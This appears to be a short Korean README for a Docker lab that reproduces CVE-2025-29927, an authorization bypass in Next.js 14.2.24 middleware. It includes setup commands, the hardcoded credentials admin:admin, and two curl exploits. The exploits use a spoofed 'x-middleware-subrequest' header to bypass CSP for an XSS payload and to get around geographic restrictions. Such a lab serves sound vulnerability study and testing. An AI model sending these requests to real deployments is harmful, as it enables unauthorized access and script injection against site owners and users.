
Next.js 14.2.24에서 CVE-2025-29927 미들웨어 권한 부여 우회를 재현하고, curl을 사용하여 인증 및 미들웨어 제한을 우회하는 악용을 시연합니다.
14.2.24 버전의 Next.js를 실행하는 작고 간단한 애플리케이션으로, CVE-2025-29927을 테스트하는 데 사용됩니다.
취약점을 이용하거나 하드코딩된 자격 증명 admin:admin을 사용하여 관리자 영역(/admin)에 접근하세요.
» git clone [email protected]:0xPThree/next.js_cve-2025-29927.git
» docker build -t nextjs .
» docker run -d -p 3000:3000 --name nextjs nextjs
명백한 인증 우회 외에도 이 취약점은 다음을 수행할 수 있습니다:
# Middleware may be used to set CSP headers to prevent XSS. Bypass CSP to XSS:
curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
-H "Content-Type: text/html" --data "<script>alert('1')</script>" \
http://exploit.se
# Middleware may be used to restrict content by geographic location. Bypass geographic restrictions:
curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
-H "CF-IPCountry: SE" http://exploit.se/se-only-content
